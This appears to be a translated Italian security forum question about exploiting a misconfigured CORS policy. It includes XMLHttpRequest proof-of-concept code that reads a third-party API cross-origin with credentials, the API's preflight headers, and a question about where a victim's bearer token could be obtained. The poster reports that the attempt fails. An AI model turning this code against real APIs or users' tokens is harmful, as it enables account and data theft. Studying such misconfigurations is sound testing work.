Ho una domanda successiva a questa domanda precedente: Come sfruttare una politica CORS mal configurata quando è richiesto un token di autorizzazione per utente?
Secondo la documentazione qui , la Access-Control-Allow-Credentials dovrebbe essere in grado di trasportare token come le intestazioni di autorizzazione perché "Le credenziali sono cookie, intestazioni di autorizzazione o certificati client TLS."
Tuttavia, quando provo il seguente exploit, non riesco a ottenere alcun browser per inoltrare il token.
Sto tentando di eseguire la seguente richiesta di dominio incrociato da https://my.domain/
:
var req = new XMLHttpRequest(); req.onload = reqListener;
req.open('GET','https://api.external.domain/',true);
req.withCredentials = "true"; req.setRequestHeader('authorization','');
req.setRequestHeader('cache-control','no-cache');
req.setRequestHeader('content-type','application/json');
req.send('{}');
function reqListener()
{
alert(this.responseText);
};
La richiesta è prefligata (metodo OPTIONS) e l'API risponde con:
HTTP/1.1 200 OK
Access-Control-Expose-Headers: APIm-Debug-Trans-Id, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-Global-Transaction-ID
Access-Control-Allow-Headers: authorization,cache-control,content-type,pragma
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://my.domain/
Fin qui tutto bene. Ora il browser immediatamente segue una richiesta GET, ma per farcela questa richiesta ho bisogno che includa l'intestazione:
Authorization: bearer [redacted]
Ma a quanto pare il browser del cliente non può accedere a questo token (?) anche se sono autenticato sull'API. C'è un modo per prendere questo token da qualche parte? Non riesco a trovarlo nella memoria locale del browser e non è nemmeno un valore cookie.